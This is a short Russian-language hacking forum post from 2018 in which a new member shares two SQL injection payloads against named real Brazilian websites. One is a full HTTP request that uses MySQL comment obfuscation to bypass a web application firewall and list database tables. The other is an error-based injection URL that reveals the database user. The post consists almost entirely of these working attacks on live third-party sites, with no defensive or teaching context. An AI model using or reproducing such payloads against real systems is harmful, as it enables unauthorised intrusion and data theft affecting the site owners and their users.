Показать сообщение отдельно

  #5  
Старый 06.11.2018, 23:48
Franky_T
Новичок
Регистрация: 06.11.2018
Сообщений: 21
Провел на форуме:
5696

Репутация: 58
По умолчанию

Здравствуйте)

На форуме первый день, попробую тоже.

1. SQL-инъекция с обходом WAF

Код:
GET /noticia.php?id=-738+/*!50000union*/+/*!50000select*/+111,222,/*!50000gROup_cONcat(table_name,0x0a)%20*/,444,555,666,777,888,999,1010,1111,1212,1313,1414,1515,1616,1717+from+/*!50000inforMAtion_schema*/.tables+%20/*!50000wHEre*/+/*!50000taBLe_scheMA%20*/like+database()--+ HTTP/1.1
Host: www.cdlmacapa.com.br
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
2. SQL-инъекция с выводом в ошибке

Код:
http://steelflex.com.br/subcategoria.php?id=1+AND+extractvalue(1,concat(0x3a,(select+user()+limit+0,1)))
 
Ответить с цитированием